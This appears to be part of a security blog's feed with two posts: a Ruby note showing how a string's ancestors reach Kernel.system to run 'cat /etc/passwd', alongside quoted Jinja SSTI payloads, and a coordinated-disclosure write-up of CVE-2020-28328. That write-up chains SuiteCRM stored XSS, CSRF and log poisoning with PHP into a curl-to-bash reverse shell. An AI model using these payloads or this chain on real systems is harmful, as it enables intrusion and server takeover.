<p>In ruby, you would start by delcaring a string:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>somestring = "a string";
</code></pre></div></div>
<p>This would create an object from the <a href="https://ruby-doc.org/core-2.7.2/String.html">String</a> class. Thus, it would have access to all the methods of the String class. It <em>also</em> has some ancestor classes. You can access these like so:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>somestring = "a string";
puts somestring.class.ancestors;
</code></pre></div></div>
<p>When you run that, you should see the output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>String
Comparable
Object
Kernel
BasicObject
</code></pre></div></div>
<p>This is an array of ancestor methods/classes of the String class. Thus, you can access them by index!</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>somestring = "a string";
puts somestring.class.ancestors[3];
</code></pre></div></div>
<p>When you run that, you should see the output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Kernel
</code></pre></div></div>
<p>We are now accessing the <a href="https://ruby-doc.org/core-2.7.2/Kernel.html">Kernel</a> module, which has some pretty interesting methods… The <em>most</em> interesting to me is the <a href="https://ruby-doc.org/core-2.7.2/Kernel.html#method-i-system">system</a> method. Using this method, you can execute arbitrary shell commands.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>somestring = "a string";
somestring.class.ancestors[3].system("cat /etc/passwd");
</code></pre></div></div>
<h2 id="poc">PoC</h2>
<figure class="image">
    <figcaption>Demo</figcaption>
    <img src="/assets/images/ruby-classes.gif" width="40%" />
</figure>
<p>So, just a fun learning experience for me on how you can access things in unique ways in Ruby!</p>]]></content><author><name>M. Cory Billington</name></author><summary type="html"><![CDATA[tldr/oneliner ruby -e '"".class.ancestors[3].system("cat /etc/passwd")' Why? So I was doing a bit of reading on SSTI, specifically that of Jinja/python which looks like this: {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}{{config.__class__.__init__.__globals__['os'].popen('ls').read()}} For an explanation on how these work in python, I recommend checking out this writeup. Essentially, it made me wonder if you could do the same thing in ruby, and you definitely can (at least the accessing other methods part). No pwnz yet from me (though I can’t be the first to think of this, so it may be a nothingburger, or just a cool trick) How it works In ruby, you would start by delcaring a string: somestring = "a string"; This would create an object from the String class. Thus, it would have access to all the methods of the String class. It also has some ancestor classes. You can access these like so: somestring = "a string"; puts somestring.class.ancestors; When you run that, you should see the output: String Comparable Object Kernel BasicObject This is an array of ancestor methods/classes of the String class. Thus, you can access them by index! somestring = "a string"; puts somestring.class.ancestors[3]; When you run that, you should see the output: Kernel We are now accessing the Kernel module, which has some pretty interesting methods… The most interesting to me is the system method. Using this method, you can execute arbitrary shell commands. somestring = "a string"; somestring.class.ancestors[3].system("cat /etc/passwd"); PoC Demo So, just a fun learning experience for me on how you can access things in unique ways in Ruby!]]></summary></entry><entry><title type="html">CVE-2020-28328 SuiteCRM RCE</title><link href="https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/" rel="alternate" type="text/html" title="CVE-2020-28328 SuiteCRM RCE" /><published>2020-11-05T00:00:00+00:00</published><updated>2020-11-05T00:00:00+00:00</updated><id>https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE</id><content type="html" xml:base="https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/"><![CDATA[<h2 id="remediation-testing">Remediation testing</h2>
<p>I found another vulnerability during remediation testing, and that writeup <a href="/SuiteCRM-RCE-2/">can be found here</a>.</p>

<p>I recently discovered two vulnerabilities in <a href="https://github.com/salesagility/SuiteCRM">SuiteCRM</a> that provides an attack chain for a low privileged user to achieve code execution on the underlying operating system. The attack chain is Cross-Site Scripting, which can be used to perform Cross-Site Request Forgery, which leads to Remote Code Execution by tampering with the application configuration and poisioning a log file. This is all achieved via a file upload that contains malicious JavaScript that a low privileged user can trick a user with administrative privileges into running. The Proof-Of-Concept files and video I have attached demonstrates a low privileged user performing this attack and obtaining areverse shell on the system that is hosting SuiteCRM.<br />
<a href="https://suitecrm.com/suitecrm-7-11-17-7-10-28-lts-versions-released/">This was patched in version 7.11.17 of SuiteCRM.</a></p>
<h2 id="severity">Severity</h2>
<p><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a><br />
I don’t fully agree with this rating as the exploit does require administrative access which would change PR:L to PR:H, adjusting the final score from an 8.8 to a 7.2.<br />
I would rate it as: <a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H</a><br />
Ref: <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-28328">https://nvd.nist.gov/vuln/detail/CVE-2020-28328</a></p>
<h2 id="version-details">Version details</h2>
<p>SuiteCRM Version 7.11.15</p>
<h2 id="cross-site-scripting-xss">Cross-Site Scripting (XSS)</h2>
<p>The stored Cross-Site Scripting exists in the ‘Create Documents’ file upload. A low privileged user is able to upload a file with any contents. The user can then examine the link provided to download this document and ascertain the file’s location on the filesystem by locating the <code class="language-plaintext highlighter-rouge">id</code> parameter. This long, random value is the name of the fileinside the /uploads/ directory. The user can place arbitrary JavaScript in this file and then send the link to another user. This can be used to hijack another user’s session and/or perform actions on that user’s behalf, which will be shown in the PoC video.</p>
<h2 id="remote-code-execution">Remote Code Execution</h2>
<p>After discovering that I could become the admin through session hijacking via the Cross-Site Scripting, I then discovered that I could control the system properties under ‘Admin → System Settings’, namely the log file property. Log file extensions were pretty well blocked, but I was able to use BurpSuite to update the ‘Log File Name’ value to be any arbitrary value, including .php extensions. I did this by submitting a request without changing anything and capturing the POST request that actually updates the values. I changed the filename via the <code class="language-plaintext highlighter-rouge">logger_file_name</code> parameter to <code class="language-plaintext highlighter-rouge">shell.php</code> and simply made the ‘Extension’ field blank. That provided a php file that I could access in browser at the webroot, but I needed some php code insidethe file to execute.<br />
Next, I examined the output in the file and noticed that I could control input into the file via user properties if I updated a user (such as the user’s first or last name), if the logging was set to info (which I believe was default…). So, I captured a request in burp and inserted some php code <code class="language-plaintext highlighter-rouge">&lt;?php $id =`id`; echo $id; ?&gt;</code> in the <code class="language-plaintext highlighter-rouge">last_name</code> form field. This resulted in the output of the <code class="language-plaintext highlighter-rouge">id</code> command on Linux in the context of the web server user, <code class="language-plaintext highlighter-rouge">www-data</code>. The only characters that I could tell were escaped based on the log file are single quotes, double quotes, and back slashes. You can verify this by <code class="language-plaintext highlighter-rouge">tail</code>‘ing the sql log file on the backend.</p>
<h2 id="chaining-the-two-for-cross-site-request-forgery-one-click---shell">Chaining the two for Cross-Site Request Forgery (One click -&gt; shell)</h2>
<p>I was able to perform all this as the admin user because I was able to obtain session cookies, however to have a working chain, I needed to have this execute via JavaScript in the context of the admin user. I was able to script this using a few fetch requests to perform each of these POST requests. The first one updated the system properties, the second updated the admin user’s ‘Last Name’ field, and the last performed a GET request on the newly created log file with malicious php code. The malicious php code would perform a curl request against my machine, pull down a bash reverse shell, and then pipe the output of that curl request directly to bash, executing the code. I then uploaded this using the same method that I discussed in the XSS section and revisited the new link as the admin user.  With a web server hosting my bash file and a netcat listener running, I was able to get a reverse shell.</p>
<h2 id="mitigation">Mitigation</h2>
<h4 id="cross-site-scripting">Cross-Site Scripting</h4>
<p>Ensure you have <code class="language-plaintext highlighter-rouge">AllowOveride All</code> set in Apache. nginx does not have this setting and I did not test it on nginx.</p>
<h4 id="remote-code-execution-1">Remote Code Execution</h4>
<p>Update to the latest release of SuiteCRM, or at least version 7.11.17.<br />
This is the specific fix. Commit <a href="https://github.com/salesagility/SuiteCRM/commit/1618af16eaa494c4551bac961e5ac8fc3d87ab8c#diff-e9704a2002d127cd455e1eb0507042080bb79d362091e770803ff69a31139d0f">1618af16eaa494c4551bac961e5ac8fc3d87ab8c</a></p>
<h2 id="reporting-to-suitecrm">Reporting to SuiteCRM</h2>
<p>SuiteCRM was very responsive throughout the reporting process. They acknowledged the RCE, which was patched. The XSS was the result of a web server configuration so they did not acknowlede it as a vulnerability. They did, however, note that they would be updating the documentation in light of this.</p>
<h4 id="timeline">Timeline</h4>
<p>06 AUG 2020 -&gt; Both issues reported to security@suitecrm.com<br />
07 AUG 2020 &lt;- SuiteCRM confirms receipt of report and raises issue with internal security team<br />
21 AUG 2020 -&gt; I contacted security@suitecrm.com for a follow up<br />
25 AUG 2020 &lt;- SuiteCRM replies regarding web server config/XSS<br />
26 AUG 2020 -&gt; I reply to say that the suggestion of <code class="language-plaintext highlighter-rouge">AllowOveride All</code> mitigates XSS<br />
16 SEP 2020 -&gt; I contacted security@suitecrm.com for a follow up<br />
17 SEP 2020 &lt;- SuiteCRM replies to confirm the issue as a partial issue<br />
29 OCT 2020 Update released<br />
03 NOV 2020 -&gt; I contact security@suitecrm.com to ensure nothing else is needed on their end before releasing writeup<br />
05 NOV 2020 &lt;- SuiteCRM replies</p>
<blockquote>
  <p>Now we have released a patch for this issue and it is in the pubic domain, there is no problem with you doing a blog post on the vulnerabilities from our perspective.</p>
</blockquote>

<p>05 NOV 2020 -&gt; CVE requested by me<br />
06 NOV 2020 &lt;- <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28328">CVE-2020-28328</a> issued</p>
<h2 id="poc">POC</h2>
<p><a href="https://www.exploit-db.com/exploits/49001">https://www.exploit-db.com/exploits/49001</a></p>
<figure class="image">
    <img src="/assets/images/SuiteCRM-PoC.gif" width="60%" />
</figure>
<h2 id="thanks-to-suitecrm">Thanks to SuiteCRM!</h2>
<p>They were very easy to work with and I definitely plan to continue searching for and reporting vulnerabilities in this software!</p>]]></content><author><name>M. Cory Billington</name></author><summary type="html"><![CDATA[Remediation testing I found another vulnerability during remediation testing, and that writeup can be found here.]]></summary></entry></feed>